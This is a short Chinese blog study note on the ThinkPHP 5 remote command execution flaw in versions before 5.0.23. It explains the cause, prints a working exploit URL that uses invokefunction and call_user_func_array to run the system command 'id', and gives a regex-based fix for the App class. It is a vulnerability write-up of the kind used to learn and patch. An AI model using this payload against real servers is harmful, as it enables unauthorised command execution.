ThinkPHP5远程命令执行漏洞


![][1]

参考链接:
[https://zgao.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/][2]
[https://www.yuque.com/u2167937/rclxdh/cxilh2][3]

##  ##

没有明白这个东西,想等一段时间再来重新学习一下

## 产生原因 ##

在5.0.23以前的版本,获取method的方法没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用

![][4]

path()获取路径:index/\think\app/invokefunction,剩余变量存储在$_GET中
parse_url可以解析URL,用数组将url中的各种组成成分返回:type:"module"
然后下面运行exec函数,里面有一个switch判断tye为module,然后进入self:module()


## 利用方法 ##


http://xxx.xxx.xxx.xxx/tp5/public/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

![][5]

## 修复漏洞 ##

5.0版本在think\App类module方法获取控制器的代码后面加上:
    if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
    }


 [1]: http://hackerbo.com/usr/uploads/2021/08/3411601541.png
 [2]: https://zgao.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/
 [3]: https://www.yuque.com/u2167937/rclxdh/cxilh2
 [4]: http://hackerbo.com/usr/uploads/2021/08/2178928689.png
 [5]: http://hackerbo.com/usr/uploads/2021/09/4185699809.png

声明:啊小新sunny|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - ThinkPHP5远程命令执行漏洞


Good friends, good books, and a sleepy conscience: this is the ideal life.